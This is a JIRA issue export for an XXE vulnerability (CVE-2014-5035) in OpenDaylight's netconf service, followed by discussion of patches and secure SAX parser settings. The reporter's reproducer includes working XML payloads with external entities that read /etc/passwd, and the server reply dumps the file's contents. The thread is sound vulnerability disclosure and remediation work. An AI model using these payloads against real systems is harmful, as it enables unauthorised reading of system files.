<!-- 
RSS generated by JIRA (8.20.10#820010-sha1:ace47f9899e9ee25d7157d59aa17ab06aee30d3d) at Wed Feb 07 19:54:36 UTC 2024

It is possible to restrict the fields that are returned in this document by specifying the 'field' parameter in your request.
For example, to request only the issue key and summary append 'field=key&field=summary' to the URL of your request.
-->
<rss version="0.92" >
<channel>
    <title>OpenDaylight JIRA</title>
    <link>https://jira.opendaylight.org</link>
    <description>This file is an XML representation of an issue</description>
    <language>en-us</language>    <build-info>
        <version>8.20.10</version>
        <build-number>820010</build-number>
        <build-date>22-06-2022</build-date>
    </build-info>


<item>
            <title>[CONTROLLER-1069] XXE vulnerability in netconf service (CVE-2014-5035)</title>
                <link>https://jira.opendaylight.org/browse/CONTROLLER-1069</link>
                <project id="10113" key="CONTROLLER">controller</project>
                    <description>&lt;p&gt;Back in August, an XXE flaw was reported in ODL&apos;s netconf service:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://seclists.org/bugtraq/2014/Aug/75&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;http://seclists.org/bugtraq/2014/Aug/75&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It does not appear that his has ever been patched. Using the latest stable/hydrogen code, I can reproduce an attack as shown below. The attached patch should fix it; I would&apos;ve submitted it via gerrit, but I got:&lt;/p&gt;

&lt;p&gt;remote: Resolving deltas: 100% (6/6)&lt;br/&gt;
remote: Branch refs/heads/stable/hydrogen:&lt;br/&gt;
remote: You are not allowed to perform this operation.&lt;br/&gt;
remote: To push into this reference you need &apos;Push&apos; rights.&lt;br/&gt;
remote: User: djorm&lt;br/&gt;
remote: Please read the documentation and contact an administrator&lt;br/&gt;
remote: if you feel the configuration is incorrect&lt;/p&gt;

&lt;p&gt;Reproducer:&lt;/p&gt;

&lt;p&gt;$ ssh -s -p 1830 admin@localhost netconf&lt;br/&gt;
The authenticity of host &apos;&lt;span class=&quot;error&quot;&gt;&amp;#91;localhost&amp;#93;&lt;/span&gt;:1830 (&lt;span class=&quot;error&quot;&gt;&amp;#91;::1&amp;#93;&lt;/span&gt;:1830)&apos; can&apos;t be established.&lt;br/&gt;
RSA key fingerprint is 6a:56:d7:5a:2c:bd:4e:da:56:e5:55:9b:69:06:de:71.&lt;br/&gt;
Are you sure you want to continue connecting (yes/no)? yes&lt;br/&gt;
Warning: Permanently added &apos;&lt;span class=&quot;error&quot;&gt;&amp;#91;localhost&amp;#93;&lt;/span&gt;:1830&apos; (RSA) to the list of known hosts.&lt;br/&gt;
Established connection&lt;br/&gt;
admin@localhost&apos;s password: &lt;br/&gt;
&amp;lt;hello xmlns=&quot;urn:ietf:params:xml:ns:netconf:base:1.0&quot;&amp;gt;&lt;br/&gt;
&amp;lt;capabilities&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:config:netconf:client:dispatcher?module=odl-netconfig-client-cfg&amp;amp;revision=2014-04-08&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:l2:types?module=opendaylight-l2-types&amp;amp;revision=2013-08-27&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:netty:threadgroup?module=threadgroup&amp;amp;revision=2013-11-07&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:md:sal:binding?module=opendaylight-md-sal-binding&amp;amp;revision=2013-10-28&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:config:netconf?module=odl-netconf-cfg&amp;amp;revision=2014-04-08&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:netconf-node-inventory?module=netconf-node-inventory&amp;amp;revision=2014-01-08&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:md:sal:core:spi:config-dom-store?module=opendaylight-config-dom-datastore&amp;amp;revision=2014-06-17&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:netty:eventexecutor?module=netty-event-executor&amp;amp;revision=2013-11-12&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:xml:ns:yang:ietf-netconf-monitoring?module=ietf-netconf-monitoring&amp;amp;revision=2010-10-04&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:inventory?module=opendaylight-inventory&amp;amp;revision=2013-08-19&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:md:sal:binding:impl?module=opendaylight-sal-binding-broker-impl&amp;amp;revision=2013-10-28&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:xml:ns:yang:ietf-inet-types?module=ietf-inet-types&amp;amp;revision=2010-09-24&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:md:sal:dom:impl?module=opendaylight-sal-dom-broker-impl&amp;amp;revision=2013-10-28&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:threadpool:impl:flexible?module=threadpool-impl-flexible&amp;amp;revision=2013-12-01&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:inmemory-datastore-provider?module=opendaylight-inmemory-datastore-provider&amp;amp;revision=2014-06-17&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:md:sal:common?module=opendaylight-md-sal-common&amp;amp;revision=2013-10-28&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:shutdown?module=shutdown&amp;amp;revision=2013-12-18&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:netconf:base:1.0&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:netconf:base:1.1&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:TBD:params:xml:ns:yang:network-topology?module=network-topology&amp;amp;revision=2013-07-12&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:netconf:capability:exi:1.0&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:threadpool?module=threadpool&amp;amp;revision=2013-04-09&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:TBD:params:xml:ns:yang:network-topology?module=network-topology&amp;amp;revision=2013-10-21&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:md:sal:dom?module=opendaylight-md-sal-dom&amp;amp;revision=2013-10-28&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:xml:ns:yang:ietf-netconf-monitoring-extension?module=ietf-netconf-monitoring-extension&amp;amp;revision=2013-12-10&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:config?module=config&amp;amp;revision=2013-04-05&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:netconf:capability:candidate:1.0&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:xml:ns:yang:ietf-restconf?module=ietf-restconf&amp;amp;revision=2013-10-19&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:xml:ns:yang:rpc-context?module=rpc-context&amp;amp;revision=2013-06-17&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:threadpool:impl:scheduled?module=threadpool-impl-scheduled&amp;amp;revision=2013-12-01&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:shutdown:impl?module=shutdown-impl&amp;amp;revision=2013-12-18&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:protocol:framework?module=protocol-framework&amp;amp;revision=2014-03-13&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:netty:timer?module=netty-timer&amp;amp;revision=2013-11-19&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:threadpool:impl?module=threadpool-impl&amp;amp;revision=2013-04-05&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:xml:ns:yang:ietf-yang-types?module=ietf-yang-types&amp;amp;revision=2010-09-24&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:ietf:params:xml:ns:yang:ietf-yang-types?module=ietf-yang-types&amp;amp;revision=2013-07-15&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:yang:extension:yang-ext?module=yang-ext&amp;amp;revision=2013-07-09&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:netty?module=netty&amp;amp;revision=2013-11-19&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:md:sal:core:spi:operational-dom-store?module=opendaylight-operational-dom-datastore&amp;amp;revision=2014-06-17&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:md:sal:connector:netconf?module=odl-sal-netconf-connector-cfg&amp;amp;revision=2013-10-28&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;capability&amp;gt;urn:opendaylight:params:xml:ns:yang:controller:threadpool:impl:fixed?module=threadpool-impl-fixed&amp;amp;revision=2013-12-01&amp;lt;/capability&amp;gt;&lt;br/&gt;
&amp;lt;/capabilities&amp;gt;&lt;br/&gt;
&amp;lt;session-id&amp;gt;68&amp;lt;/session-id&amp;gt;&lt;br/&gt;
&amp;lt;/hello&amp;gt;&lt;br/&gt;
]]&amp;gt;]]&amp;gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;br/&gt;
&amp;lt;!DOCTYPE foo [  &lt;br/&gt;
&amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br/&gt;
&amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot; &amp;gt;]&amp;gt;&lt;br/&gt;
&amp;lt;hello xmlns=&quot;urn:ietf:params:xml:ns:netconf:base:1.0&quot;&amp;gt;&lt;br/&gt;
  &amp;lt;capabilities&amp;gt;&lt;br/&gt;
    &amp;lt;capability&amp;gt;urn:ietf:params:netconf:base:1.0 &amp;xxe;&amp;lt;/capability&amp;gt;&lt;br/&gt;
  &amp;lt;/capabilities&amp;gt;&lt;br/&gt;
  &amp;lt;/hello&amp;gt;]]&amp;gt;]]&amp;gt;&lt;/p&gt;

&lt;p&gt;&amp;lt;!DOCTYPE foo [  &lt;br/&gt;
&amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot; &amp;gt;]&amp;gt;&lt;br/&gt;
&amp;lt;rpc message-id=&quot;101&quot; xmlns=&quot;urn:ietf:params:xml:ns:netconf:base:1.0&quot;&amp;gt;&lt;br/&gt;
  &amp;lt;lock&amp;gt;&lt;br/&gt;
    &amp;lt;target&amp;gt;&amp;lt;running&amp;gt;&amp;xxe;&amp;lt;/running&amp;gt;&amp;lt;/target&amp;gt;&lt;br/&gt;
  &amp;lt;/lock&amp;gt;&lt;br/&gt;
&amp;lt;/rpc&amp;gt;]]&amp;gt;]]&amp;gt;&lt;br/&gt;
&amp;lt;rpc-reply message-id=&quot;101&quot; xmlns=&quot;urn:ietf:params:xml:ns:netconf:base:1.0&quot;&amp;gt;&lt;br/&gt;
&amp;lt;rpc-error&amp;gt;&lt;br/&gt;
&amp;lt;error-type&amp;gt;application&amp;lt;/error-type&amp;gt;&lt;br/&gt;
&amp;lt;error-tag&amp;gt;operation-not-supported&amp;lt;/error-tag&amp;gt;&lt;br/&gt;
&amp;lt;error-severity&amp;gt;error&amp;lt;/error-severity&amp;gt;&lt;br/&gt;
&amp;lt;error-message&amp;gt;Unable to handle rpc &amp;lt;rpc xmlns=&quot;urn:ietf:params:xml:ns:netconf:base:1.0&quot; message-id=&quot;101&quot;&amp;gt;&lt;br/&gt;
  &amp;lt;lock&amp;gt;&lt;br/&gt;
    &amp;lt;target&amp;gt;&lt;br/&gt;
&amp;lt;running&amp;gt;root:x:0:0:root:/root:/bin/bash&lt;br/&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br/&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br/&gt;
adm:x:3:4:adm:/var/adm:/sbin/nologin&lt;br/&gt;
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin&lt;br/&gt;
sync:x:5:0:sync:/sbin:/bin/sync&lt;br/&gt;
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown&lt;br/&gt;
halt:x:7:0:halt:/sbin:/sbin/halt&lt;br/&gt;
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin&lt;br/&gt;
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin&lt;br/&gt;
operator:x:11:0:operator:/root:/sbin/nologin&lt;br/&gt;
games:x:12:100:games:/usr/games:/sbin/nologin&lt;br/&gt;
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin&lt;br/&gt;
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin&lt;br/&gt;
nobody:x:99:99:Nobody:/:/sbin/nologin&lt;br/&gt;
dbus:x:81:81:System message bus:/:/sbin/nologin&lt;br/&gt;
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin&lt;br/&gt;
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin&lt;br/&gt;
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin&lt;br/&gt;
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin&lt;br/&gt;
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin&lt;br/&gt;
abrt:x:173:173::/etc/abrt:/sbin/nologin&lt;br/&gt;
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin&lt;br/&gt;
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin&lt;br/&gt;
saslauth:x:498:76:&quot;Saslauthd user&quot;:/var/empty/saslauth:/sbin/nologin&lt;br/&gt;
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin&lt;br/&gt;
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin&lt;br/&gt;
postfix:x:89:89::/var/spool/postfix:/sbin/nologin&lt;br/&gt;
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin&lt;br/&gt;
gdm:x:42:42::/var/lib/gdm:/sbin/nologin&lt;br/&gt;
ntp:x:38:38::/etc/ntp:/sbin/nologin&lt;br/&gt;
apache:x:48:48:Apache:/var/www:/sbin/nologin&lt;br/&gt;
radvd:x:75:75:radvd user:/:/sbin/nologin&lt;br/&gt;
qemu:x:107:107:qemu user:/:/sbin/nologin&lt;br/&gt;
pulse:x:497:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin&lt;br/&gt;
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin&lt;br/&gt;
tcpdump:x:72:72::/:/sbin/nologin&lt;br/&gt;
dfj:x:500:500:David Jorm:/home/dfj:/bin/bash&lt;br/&gt;
openvpn:x:496:492:OpenVPN:/etc/openvpn:/sbin/nologin&lt;br/&gt;
nm-openconnect:x:495:491:NetworkManager user for OpenConnect:/:/sbin/nologin&lt;br/&gt;
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat6:/sbin/nologin&lt;br/&gt;
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash&lt;br/&gt;
unbound:x:494:490:Unbound DNS resolver:/etc/unbound:/sbin/nologin&lt;br/&gt;
kojibuilder:x:493:486::/builddir:/bin/bash&lt;br/&gt;
lighttpd:x:492:485:lighttpd web server:/var/www/lighttpd:/sbin/nologin&lt;br/&gt;
ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin&lt;br/&gt;
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash&lt;br/&gt;
memcached:x:491:484:Memcached daemon:/var/run/memcached:/sbin/nologin&lt;br/&gt;
&amp;lt;/running&amp;gt;&lt;br/&gt;
&amp;lt;/target&amp;gt;&lt;br/&gt;
  &amp;lt;/lock&amp;gt;&lt;br/&gt;
&amp;lt;/rpc&amp;gt;&lt;br/&gt;
 on session NetconfServerSession&lt;/p&gt;
{sessionId=68}
&lt;p&gt;&amp;lt;/error-message&amp;gt;&lt;br/&gt;
&amp;lt;error-info&amp;gt;&lt;br/&gt;
&amp;lt;operation_not_supported&amp;gt;No org.opendaylight.controller.netconf.mapping.api.NetconfOperation available to handle message &amp;lt;rpc xmlns=&quot;urn:ietf:params:xml:ns:netconf:base:1.0&quot; message-id=&quot;101&quot;&amp;gt;&lt;br/&gt;
  &amp;lt;lock&amp;gt;&lt;br/&gt;
    &amp;lt;target&amp;gt;&lt;br/&gt;
&amp;lt;running&amp;gt;root:x:0:0:root:/root:/bin/bash&lt;br/&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br/&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br/&gt;
adm:x:3:4:adm:/var/adm:/sbin/nologin&lt;br/&gt;
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin&lt;br/&gt;
sync:x:5:0:sync:/sbin:/bin/sync&lt;br/&gt;
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown&lt;br/&gt;
halt:x:7:0:halt:/sbin:/sbin/halt&lt;br/&gt;
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin&lt;br/&gt;
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin&lt;br/&gt;
operator:x:11:0:operator:/root:/sbin/nologin&lt;br/&gt;
games:x:12:100:games:/usr/games:/sbin/nologin&lt;br/&gt;
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin&lt;br/&gt;
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin&lt;br/&gt;
nobody:x:99:99:Nobody:/:/sbin/nologin&lt;br/&gt;
dbus:x:81:81:System message bus:/:/sbin/nologin&lt;br/&gt;
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin&lt;br/&gt;
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin&lt;br/&gt;
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin&lt;br/&gt;
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin&lt;br/&gt;
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin&lt;br/&gt;
abrt:x:173:173::/etc/abrt:/sbin/nologin&lt;br/&gt;
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin&lt;br/&gt;
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin&lt;br/&gt;
saslauth:x:498:76:&quot;Saslauthd user&quot;:/var/empty/saslauth:/sbin/nologin&lt;br/&gt;
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin&lt;br/&gt;
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin&lt;br/&gt;
postfix:x:89:89::/var/spool/postfix:/sbin/nologin&lt;br/&gt;
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin&lt;br/&gt;
gdm:x:42:42::/var/lib/gdm:/sbin/nologin&lt;br/&gt;
ntp:x:38:38::/etc/ntp:/sbin/nologin&lt;br/&gt;
apache:x:48:48:Apache:/var/www:/sbin/nologin&lt;br/&gt;
radvd:x:75:75:radvd user:/:/sbin/nologin&lt;br/&gt;
qemu:x:107:107:qemu user:/:/sbin/nologin&lt;br/&gt;
pulse:x:497:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin&lt;br/&gt;
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin&lt;br/&gt;
tcpdump:x:72:72::/:/sbin/nologin&lt;br/&gt;
dfj:x:500:500:David Jorm:/home/dfj:/bin/bash&lt;br/&gt;
openvpn:x:496:492:OpenVPN:/etc/openvpn:/sbin/nologin&lt;br/&gt;
nm-openconnect:x:495:491:NetworkManager user for OpenConnect:/:/sbin/nologin&lt;br/&gt;
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat6:/sbin/nologin&lt;br/&gt;
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash&lt;br/&gt;
unbound:x:494:490:Unbound DNS resolver:/etc/unbound:/sbin/nologin&lt;br/&gt;
kojibuilder:x:493:486::/builddir:/bin/bash&lt;br/&gt;
lighttpd:x:492:485:lighttpd web server:/var/www/lighttpd:/sbin/nologin&lt;br/&gt;
ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin&lt;br/&gt;
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash&lt;br/&gt;
memcached:x:491:484:Memcached daemon:/var/run/memcached:/sbin/nologin&lt;br/&gt;
&amp;lt;/running&amp;gt;&lt;br/&gt;
&amp;lt;/target&amp;gt;&lt;br/&gt;
  &amp;lt;/lock&amp;gt;&lt;br/&gt;
&amp;lt;/rpc&amp;gt;&lt;br/&gt;
&amp;lt;/operation_not_supported&amp;gt;&lt;br/&gt;
&amp;lt;/error-info&amp;gt;&lt;br/&gt;
&amp;lt;/rpc-error&amp;gt;&lt;br/&gt;
&amp;lt;/rpc-reply&amp;gt;&lt;br/&gt;
]]&amp;gt;]]&amp;gt;&lt;/p&gt;</description>
                <environment>&lt;p&gt;Operating System: All&lt;br/&gt;
Platform: All&lt;/p&gt;</environment>
        <key id="25623">CONTROLLER-1069</key>
            <summary>XXE vulnerability in netconf service (CVE-2014-5035)</summary>
                <type id="10104" iconUrl="https://jira.opendaylight.org/secure/viewavatar?size=xsmall&amp;avatarId=10303&amp;avatarType=issuetype">Bug</type>
                                                <status id="5" iconUrl="https://jira.opendaylight.org/images/icons/statuses/resolved.png" description="A resolution has been taken, and it is awaiting verification by reporter. From here issues are either reopened, or are closed.">Resolved</status>
                    <statusCategory id="3" key="done" colorName="green"/>
                                    <resolution id="10000">Done</resolution>
                                        <assignee username="mmarsale@cisco.com">Maros Marsalek</assignee>
                                    <reporter username="david.jorm@gmail.com">David Jorm</reporter>
                        <labels>
                    </labels>
                <created>Mon, 15 Dec 2014 03:28:01 +0000</created>
                <updated>Fri, 19 Dec 2014 19:29:24 +0000</updated>
                            <resolved>Fri, 19 Dec 2014 19:29:24 +0000</resolved>
                                    <version>Post-Helium</version>
                                                    <component>netconf</component>
                        <due></due>
                            <votes>0</votes>
                                    <watches>6</watches>
                                                                                                                <comments>
                            <comment id="49947" author="david.jorm@gmail.com" created="Mon, 15 Dec 2014 03:28:01 +0000"  >&lt;p&gt;Attachment xxe.patch has been added with description: XXE patch&lt;/p&gt;</comment>
                            <comment id="49940" author="colin@colindixon.com" created="Mon, 15 Dec 2014 23:55:55 +0000"  >&lt;p&gt;Proposed fix:&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/#/c/13651/&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/#/c/13651/&lt;/a&gt;&lt;/p&gt;</comment>
                            <comment id="49941" author="david.jorm@gmail.com" created="Tue, 16 Dec 2014 04:14:45 +0000"  >&lt;p&gt;Thanks very much for the quick patch, Colin. Unfortunately, this patch will not block parameter entity XXE attacks, or XEE denial of service attacks. To completely block XXE/XEE attacks in a SAX parser, the following configuration is necessary:&lt;/p&gt;

&lt;p&gt;.setFeature(&quot;http://xml.org/sax/features/external-general-entities&quot;, false);&lt;br/&gt;
.setFeature(&quot;http://xml.org/sax/features/external-parameter-entities&quot;, false);&lt;br/&gt;
.setXIncludeAware(false);&lt;br/&gt;
.setExpandEntityReferences(false);&lt;/p&gt;

&lt;p&gt;Optional but not needed:&lt;/p&gt;

&lt;p&gt;.setFeature(&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;, true);&lt;/p&gt;

&lt;p&gt;OpenEXI&apos;s SAX wrapper does not seem to expose mechanisms to set all these features. Setting a custom entity handler using .setEntityHandler, which is exposed by OpenEXI, should block all XXE attacks. For details, see:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=61702260&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=61702260&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I&apos;ll file a bug against OpenEXI to address these limitations, but in the interim I think the .setEntityHandler approach should be sufficient for ODL.&lt;/p&gt;</comment>
                            <comment id="49942" author="rovarga" created="Tue, 16 Dec 2014 10:26:53 +0000"  >&lt;p&gt;Actually the patches are:&lt;/p&gt;

&lt;p&gt;NETCONF:&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/13647&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/13647&lt;/a&gt;&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/13648&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/13648&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;RESTCONF:&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/13649&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/13649&lt;/a&gt;&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/13650&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/13650&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For EXI, &lt;a href=&quot;https://git.opendaylight.org/gerrit/#/c/13651/&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/#/c/13651/&lt;/a&gt; is still work in progress, and I will address according to David&apos;s comments.&lt;/p&gt;</comment>
                            <comment id="49943" author="colin@colindixon.com" created="Tue, 16 Dec 2014 16:01:58 +0000"  >&lt;p&gt;It appears as though the 4 merged patches are actually:&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/#/c/13646/&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/#/c/13646/&lt;/a&gt; (NETCONF, stable/helium)&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/#/c/13647/&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/#/c/13647/&lt;/a&gt; (NETCONF, master)&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://git.opendaylight.org/gerrit/#/c/13649/&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/#/c/13649/&lt;/a&gt; (RESTCONF, master)&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/#/c/13650/&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/#/c/13650/&lt;/a&gt; (RESTCONF, stable/helium)&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://git.opendaylight.org/gerrit/#/c/13651/&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/#/c/13651/&lt;/a&gt; (Work in Progress on EXI)&lt;/p&gt;

&lt;p&gt;Do we know if the first two patches fix the vulnerability. Do we have a test case that we could add to make sure? Once we have these patches, I&apos;d like to start the process of the release.&lt;/p&gt;</comment>
                            <comment id="49944" author="david.jorm@gmail.com" created="Tue, 16 Dec 2014 23:15:12 +0000"  >&lt;p&gt;The reproduction steps that I provided in the bug description can be converted into a test case.&lt;/p&gt;</comment>
